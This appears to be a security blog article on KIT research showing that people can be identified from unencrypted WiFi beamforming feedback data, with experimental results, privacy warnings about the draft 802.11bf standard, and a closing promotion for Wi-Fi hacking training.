The key new dimensions here are the Inference column, showing the wide variety of tasks these systems tackle, from respiratory rate monitoring and crowd counting to sign language recognition.
In a typical beamforming setup, client devices send something called Beamforming Feedback Information (BFI) back to the access point. BFI is a condensed snapshot of current signal conditions. It tells the access point how the wireless channel looks so that it can adjust its transmission for better performance.
The key difference between CSI and BFI is that BFI is transmitted back to the access point without encryption. This makes it much easier to collect using standard, off-the-shelf hardware, without needing any special software modifications. That significantly lowers the bar for potential misuse. The privacy concern gets even more serious when you consider that the IEEE is already working on making WiFi sensing an official standard through the upcoming 802.11bf update and based on the current draft, without putting strong privacy protections in place.
Researchers at KIT showed that people can be identified using only BFI data, even when they are not carrying a smartphone or any other wireless device. The method does not depend on a person bringing along a tracked gadget. It works using ordinary WiFi devices already present in the environment and already communicating with one another.
Placement of TP-Link Archer BE800 access points, measurement locations, and participant walking routes in the WiFi-based identity recognition experiment
As radio waves move through space and interact with the human body, they create patterns that can be captured, analyzed, and compared. In that sense, the process starts to resemble imaging, almost as if the wireless system were building a rough picture of a scene without using a camera. The result is not a photograph in the normal sense, but the data can carry enough structure to support identity inference.
WiFi Routers as Silent Observers
“The technology turns every router into a potential surveillance device,” says Julian Todt, one of the study’s authors. “If you regularly walk past a café that has a WiFi network, you could be identified without your knowledge and later recognized by government agencies or commercial companies.”
That is a serious warning, and it captures the core concern very well. Intelligence services and cybercriminals already have many easier ways to monitor people, including compromising CCTV systems or intercepting video communications. But wireless networks are different. They create a nearly invisible surveillance layer that already exists in a huge number of places.
Unlike earlier approaches that depended on LiDAR sensors or on reflection-based systems using walls, furniture, and human bodies, this method works with standard WiFi equipment. By collecting BFI data, researchers can build representations of people from several different viewing angles. These representations are then used to distinguish one person from another, even when the number of people is large. Once the machine learning model has been trained, the identification process can happen in just a few seconds.
BFI vs CSI accuracy as the number of WiFi packets increases. BFI reaches near-perfect accuracy almost instantly, while CSI requires hundreds of packets to approach similar performance
Experimental Results
The study involved 197 participants. The researchers reported that they were able to identify individuals with nearly 100% accuracy, regardless of viewing angle or walking style. That is an impressive result, but it did not come easily. To reach that level of accuracy, the model needed a substantial amount of machine learning training. Each person in the training set performed around 20 walking passes before the model was trained.
BFI vs CSI accuracy across different walking styles. BFI maintains near-perfect accuracy regardless of how a person walks or what they carry, while CSI struggles significantly when walking styles change
During the research two TP-Link Archer BE800 routers were used. The experiment relied on channels 37 and 85. It also used two non-overlapping 160 MHz channels in the 6 GHz band available under WiFi 6E. The hardware included Intel AX210 WiFi network adapters.
Accuracy of five WiFi identification systems as the number of people grows. BFId (BFI) and LW-WiID maintain near-perfect accuracy even at 170 individuals, while competing systems degrade sharply with FreeSense dropping to near 15% at scale
The researchers stress that the technology is powerful, but also potentially dangerous. The risks are especially serious in authoritarian states, where systems like this could be used for large-scale population surveillance. In such settings, the ability to identify people without their phones, without cameras and without obvious visible monitoring would be a major privacy threat.
For that reason, the authors strongly recommend that privacy protections and security safeguards be built into the upcoming IEEE 802.11bf standard from the start, rather than added later as an afterthought.
WiFi 6 Routers as Motion Sensors
In fact, WiFi-based sensing has become so effective that some modern routers already include motion-detection features right out of the box, and manufacturers openly advertise them.
Xfinity
Features such as WiFi Motion Detection allow homeowners to monitor activity inside their homes through mobile apps, using nothing more than changes in WiFi signal patterns.
A feature designed for convenience in a home can also become part of a much broader surveillance system when deployed at scale.
Related WiFi and Bluetooth Scanning Tools
As an additional note, several tools already exist that monitor wireless activity in nearby environments. They don’t work exactly the same way as the techniques we covered earlier, but they’re still useful.
Pi.Alert scans devices connected to a WiFi network, detects unknown devices, and sends notifications when devices unexpectedly disconnect from the network. It is often used as a practical awareness tool for keeping track of what is present on a home or local network.
WireTapper discovers nearby wireless signals, including WiFi networks, Bluetooth devices, hidden cameras, vehicles, headphones, televisions, and cellular towers. It gives the user a broader view of the wireless environment around them, which can be useful for awareness and inspection.
Video
We also have an video on this topic with Master OTW and Yaniv Hoffman. In the video, OTW explains how hackers can use SDR, AI, and Wi-Fi signals to detect human movement through walls, how the technology works, and talk about practical ways to defend against it. Feel free to check it out.
Summary
As modern routers gain advanced sensing, they can also become tools for observing and identifying people through the way their bodies interact with wireless signals. The KIT research shows that this is a practical technology that can identify individuals with remarkable accuracy using ordinary WiFi hardware. Although WiFi sensing can be valuable for smart homes and automation, it also raises serious privacy concerns. Privacy protections will need to become just as important as performance improvements.
If you’re interested in Wi-Fi security, our Wi-Fi Hacking training can help you gain the necessary experience. This attack vector is often underestimated, and many organizations are vulnerable to it. It is definitely valuable in penetration testing.
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